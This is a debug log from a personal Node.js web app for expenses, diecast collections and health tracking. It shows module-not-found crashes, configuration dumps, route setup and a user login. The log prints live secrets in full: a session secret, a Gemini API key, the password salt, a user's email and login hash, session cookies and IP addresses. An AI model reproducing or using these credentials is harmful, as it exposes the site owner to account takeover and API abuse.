node:internal/modules/cjs/loader:1368
  throw err;
  ^

Error: Cannot find module 'dotenv'
Require stack:
- /home/tocyxovu/ems/lib/server.js
- /home/tocyxovu/ems/index.js
- /usr/local/lsws/fcgi-bin/lsnode.js
    at Module._resolveFilename (node:internal/modules/cjs/loader:1365:15)
    at defaultResolveImpl (node:internal/modules/cjs/loader:1021:19)
    at resolveForCJSWithHooks (node:internal/modules/cjs/loader:1026:22)
    at Module._load (node:internal/modules/cjs/loader:1175:37)
    at TracingChannel.traceSync (node:diagnostics_channel:322:14)
    at wrapModuleLoad (node:internal/modules/cjs/loader:235:24)
    at Module.require (node:internal/modules/cjs/loader:1445:12)
    at require (node:internal/modules/helpers:135:16)
    at Object.<anonymous> (/home/tocyxovu/ems/lib/server.js:2:5)
    at Module._compile (node:internal/modules/cjs/loader:1688:14) {
  code: 'MODULE_NOT_FOUND',
  requireStack: [
    '/home/tocyxovu/ems/lib/server.js',
    '/home/tocyxovu/ems/index.js',
    '/usr/local/lsws/fcgi-bin/lsnode.js'
  ]
}

Node.js v22.18.0
node:internal/modules/cjs/loader:1368
  throw err;
  ^

Error: Cannot find module 'dotenv'
Require stack:
- /home/tocyxovu/ems/lib/server.js
- /home/tocyxovu/ems/index.js
- /usr/local/lsws/fcgi-bin/lsnode.js
    at Module._resolveFilename (node:internal/modules/cjs/loader:1365:15)
    at defaultResolveImpl (node:internal/modules/cjs/loader:1021:19)
    at resolveForCJSWithHooks (node:internal/modules/cjs/loader:1026:22)
    at Module._load (node:internal/modules/cjs/loader:1175:37)
    at TracingChannel.traceSync (node:diagnostics_channel:322:14)
    at wrapModuleLoad (node:internal/modules/cjs/loader:235:24)
    at Module.require (node:internal/modules/cjs/loader:1445:12)
    at require (node:internal/modules/helpers:135:16)
    at Object.<anonymous> (/home/tocyxovu/ems/lib/server.js:2:5)
    at Module._compile (node:internal/modules/cjs/loader:1688:14) {
  code: 'MODULE_NOT_FOUND',
  requireStack: [
    '/home/tocyxovu/ems/lib/server.js',
    '/home/tocyxovu/ems/index.js',
    '/usr/local/lsws/fcgi-bin/lsnode.js'
  ]
}

Node.js v22.18.0
2025-12-12T13:38:37.578Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2025-12-12T13:38:37.773Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2025-12-12T13:38:37.858Z server-connect:setup:upload Upload middleware configured.
2025-12-12T13:38:37.859Z server-connect:secure CSRF Protection initialized
2025-12-12T13:38:37.863Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2025-12-12T13:38:37.864Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2025-12-12T13:38:37.864Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2025-12-12T13:38:37.864Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2025-12-12T13:38:37.865Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2025-12-12T13:38:37.865Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2025-12-12T13:38:37.866Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2025-12-12T13:38:37.866Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2025-12-12T13:38:37.884Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2025-12-12T13:38:37.900Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2025-12-12T13:38:37.900Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2025-12-12T13:38:37.918Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2025-12-12T13:38:37.918Z server-connect:setup:routes Api route /api/health/get-exercises(.json)? created
2025-12-12T13:38:37.918Z server-connect:setup:routes Api route /api/health/get-schedule(.json)? created
2025-12-12T13:38:37.918Z server-connect:setup:routes Api route /api/health/get-weight-log(.json)? created
2025-12-12T13:38:37.919Z server-connect:setup:routes Api route /api/health/manage-calories(.json)? created
2025-12-12T13:38:37.919Z server-connect:setup:routes Api route /api/health/manage-schedule(.json)? created
2025-12-12T13:38:37.919Z server-connect:setup:routes Api route /api/health/manage-weight(.json)? created
2025-12-12T13:38:37.920Z server-connect:setup:routes Api route /api/health/todays-calories(.json)? created
2025-12-12T13:38:37.921Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2025-12-12T13:38:37.921Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2025-12-12T13:38:37.921Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2025-12-12T13:38:37.922Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2025-12-12T13:38:37.922Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2025-12-12T13:38:37.922Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2025-12-12T13:38:37.922Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2025-12-12T13:38:37.923Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2025-12-12T13:38:37.923Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2025-12-12T13:38:37.923Z server-connect:setup:routes Api route /api/test(.json)? created
2025-12-12T13:38:37.985Z server-connect:router Serving templateView /
2025-12-12T13:38:37.987Z server-connect:app Executing action step identify
2025-12-12T13:38:37.987Z server-connect:app options: { provider: 'security' }
2025-12-12T13:38:37.989Z server-connect:auth No login cookie found
2025-12-12T13:38:37.989Z server-connect:output identity: false
2025-12-12T13:38:37.989Z server-connect:app Executing action step restrict
2025-12-12T13:38:37.989Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-12T13:38:37.993Z server-connect:output restrict: undefined
2025-12-12T13:38:38.200Z server-connect:router Serving templateView /login
2025-12-12T13:38:38.200Z server-connect:app Executing action step identify
2025-12-12T13:38:38.200Z server-connect:app options: { provider: 'security' }
2025-12-12T13:38:38.200Z server-connect:auth No login cookie found
2025-12-12T13:38:38.200Z server-connect:output identity: false
2025-12-12T13:38:38.200Z server-connect:router Render template layouts/authentication
2025-12-12T13:38:38.201Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-fetch-site': 'cross-site',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'sec-ch-ua': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    referer: 'https://s6519.dnspark.in:2083/',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-13T13:38:38.198Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_FETCH-SITE': 'cross-site',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    'HTTP_SEC_CH-UA': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_REFERER: 'https://s6519.dnspark.in:2083/',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-12T13:39:31.556Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2025-12-12T13:39:31.732Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2025-12-12T13:39:31.808Z server-connect:setup:upload Upload middleware configured.
2025-12-12T13:39:31.808Z server-connect:secure CSRF Protection initialized
2025-12-12T13:39:31.829Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2025-12-12T13:39:31.830Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2025-12-12T13:39:31.830Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2025-12-12T13:39:31.831Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2025-12-12T13:39:31.831Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2025-12-12T13:39:31.831Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2025-12-12T13:39:31.832Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2025-12-12T13:39:31.832Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2025-12-12T13:39:31.833Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2025-12-12T13:39:31.833Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2025-12-12T13:39:31.833Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2025-12-12T13:39:31.834Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2025-12-12T13:39:31.834Z server-connect:setup:routes Api route /api/health/get-exercises(.json)? created
2025-12-12T13:39:31.834Z server-connect:setup:routes Api route /api/health/get-schedule(.json)? created
2025-12-12T13:39:31.834Z server-connect:setup:routes Api route /api/health/get-weight-log(.json)? created
2025-12-12T13:39:31.835Z server-connect:setup:routes Api route /api/health/manage-calories(.json)? created
2025-12-12T13:39:31.835Z server-connect:setup:routes Api route /api/health/manage-schedule(.json)? created
2025-12-12T13:39:31.835Z server-connect:setup:routes Api route /api/health/manage-weight(.json)? created
2025-12-12T13:39:31.835Z server-connect:setup:routes Api route /api/health/todays-calories(.json)? created
2025-12-12T13:39:31.836Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2025-12-12T13:39:31.836Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2025-12-12T13:39:31.836Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2025-12-12T13:39:31.836Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2025-12-12T13:39:31.837Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2025-12-12T13:39:31.837Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2025-12-12T13:39:31.837Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2025-12-12T13:39:31.837Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2025-12-12T13:39:31.837Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2025-12-12T13:39:31.838Z server-connect:setup:routes Api route /api/test(.json)? created
2025-12-12T13:39:31.902Z server-connect:router Serving templateView /
2025-12-12T13:39:31.906Z server-connect:app Executing action step identify
2025-12-12T13:39:31.906Z server-connect:app options: { provider: 'security' }
2025-12-12T13:39:31.908Z server-connect:auth No login cookie found
2025-12-12T13:39:31.908Z server-connect:output identity: false
2025-12-12T13:39:31.908Z server-connect:app Executing action step restrict
2025-12-12T13:39:31.908Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-12T13:39:31.929Z server-connect:output restrict: undefined
2025-12-12T13:39:31.938Z server-connect:router Serving templateView /login
2025-12-12T13:39:31.938Z server-connect:app Executing action step identify
2025-12-12T13:39:31.938Z server-connect:app options: { provider: 'security' }
2025-12-12T13:39:31.938Z server-connect:auth No login cookie found
2025-12-12T13:39:31.938Z server-connect:output identity: false
2025-12-12T13:39:31.939Z server-connect:router Render template layouts/authentication
2025-12-12T13:39:31.939Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.13) Gecko/20101209 CentOS/3.6-2.el5.centos Firefox/3.6.13',
    'accept-encoding': 'gzip',
    accept: '*/*',
    connection: 'keep-alive',
    'x-forwarded-for': '65.21.215.19',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-13T13:39:31.937Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '65.21.215.19',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.13) Gecko/20101209 CentOS/3.6-2.el5.centos Firefox/3.6.13',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: '*/*',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-FOR': '65.21.215.19',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-12T13:39:50.516Z server-connect:router Serving serverConnect /api/access-control/login
2025-12-12T13:39:50.516Z server-connect:app Executing action step identify
2025-12-12T13:39:50.516Z server-connect:app options: { provider: 'security' }
2025-12-12T13:39:50.516Z server-connect:auth No login cookie found
2025-12-12T13:39:50.517Z server-connect:output identity: false
2025-12-12T13:39:50.517Z server-connect:app Executing action step login
2025-12-12T13:39:50.517Z server-connect:app options: {
  provider: 'security',
  remember: 1,
  username: '{{$_POST.email}}',
  password: "{{$_POST.password.sha256('yajnas')}}"
}
2025-12-12T13:39:50.528Z server-connect:output identity: false
2025-12-12T13:39:54.522Z server-connect:router Serving serverConnect /api/access-control/login
2025-12-12T13:39:54.522Z server-connect:app Executing action step identify
2025-12-12T13:39:54.522Z server-connect:app options: { provider: 'security' }
2025-12-12T13:39:54.522Z server-connect:auth No login cookie found
2025-12-12T13:39:54.522Z server-connect:output identity: false
2025-12-12T13:39:54.522Z server-connect:app Executing action step login
2025-12-12T13:39:54.522Z server-connect:app options: {
  provider: 'security',
  remember: 1,
  username: '{{$_POST.email}}',
  password: "{{$_POST.password.sha256('yajnas')}}"
}
2025-12-12T13:39:54.524Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-12T13:39:54.575Z server-connect:output identity: 1
2025-12-12T13:39:54.575Z server-connect:app Executing action step restrict
2025-12-12T13:39:54.575Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-12T13:39:54.577Z server-connect:output restrict: undefined
2025-12-12T13:39:54.785Z server-connect:router Serving templateView /
2025-12-12T13:39:54.786Z server-connect:app Executing action step identify
2025-12-12T13:39:54.786Z server-connect:app options: { provider: 'security' }
2025-12-12T13:39:54.786Z server-connect:output identity: 1
2025-12-12T13:39:54.786Z server-connect:app Executing action step restrict
2025-12-12T13:39:54.786Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-12T13:39:54.787Z server-connect:output restrict: undefined
2025-12-12T13:39:54.787Z server-connect:app Executing action step restrict
2025-12-12T13:39:54.787Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-12T13:39:54.787Z server-connect:output restrict: undefined
2025-12-12T13:39:54.787Z server-connect:router Render template layouts/main
2025-12-12T13:39:54.788Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/login',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AKS9%2BMaKAiRy7yqO5k6Rtcw%3D%3D.U0LvgN4RbG2UwcBIFkCYmVIRtZw%2Bwdp0gtbW4LydSywUYRfTQlkQLVQDfnKZUOytkRVNfTDZt%2F13JcAM%2FiiDn1Fe5G95hO9TrcHmuWCNbURAFCL%2FmmMkbR%2FbgXTkB3UbUJe3Z%2BpvcULYOUqlMVLhcdmNoVOpjL%2BEmqPAjSWvaqo%3D.FoK9Ekyu89rssbflMN%2Fqo2hTqBQCGME47CbMztHrPuM; your_r_git.sid=s%3AmcC14PpBg2RnqTLNhlpL3atsWDhAgt18.jNVE8THzRFSBHsASxy31AQka1aN2RNQ66CT49batnls',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-13T13:39:54.577Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/login',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AKS9%2BMaKAiRy7yqO5k6Rtcw%3D%3D.U0LvgN4RbG2UwcBIFkCYmVIRtZw%2Bwdp0gtbW4LydSywUYRfTQlkQLVQDfnKZUOytkRVNfTDZt%2F13JcAM%2FiiDn1Fe5G95hO9TrcHmuWCNbURAFCL%2FmmMkbR%2FbgXTkB3UbUJe3Z%2BpvcULYOUqlMVLhcdmNoVOpjL%2BEmqPAjSWvaqo%3D.FoK9Ekyu89rssbflMN%2Fqo2hTqBQCGME47CbMztHrPuM; your_r_git.sid=s%3AmcC14PpBg2RnqTLNhlpL3atsWDhAgt18.jNVE8THzRFSBHsASxy31AQka1aN2RNQ66CT49batnls',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-12T13:39:56.313Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-12T13:39:56.314Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-12T13:39:56.314Z server-connect:app Executing action step identify
2025-12-12T13:39:56.314Z server-connect:app options: { provider: 'security' }
2025-12-12T13:39:56.314Z server-connect:output identity: 1
2025-12-12T13:39:56.314Z server-connect:app Executing action step restrict
2025-12-12T13:39:56.314Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-12T13:39:56.315Z server-connect:app Executing action step identify
2025-12-12T13:39:56.315Z server-connect:app options: { provider: 'security' }
2025-12-12T13:39:56.315Z server-connect:output identity: 1
2025-12-12T13:39:56.315Z server-connect:app Executing action step restrict
2025-12-12T13:39:56.315Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-12T13:39:56.315Z server-connect:output restrict: undefined
2025-12-12T13:39:56.316Z server-connect:app Executing action step single
2025-12-12T13:39:56.316Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-12T13:39:56.318Z server-connect:output restrict: undefined
2025-12-12T13:39:56.318Z server-connect:app Executing action step select
2025-12-12T13:39:56.318Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
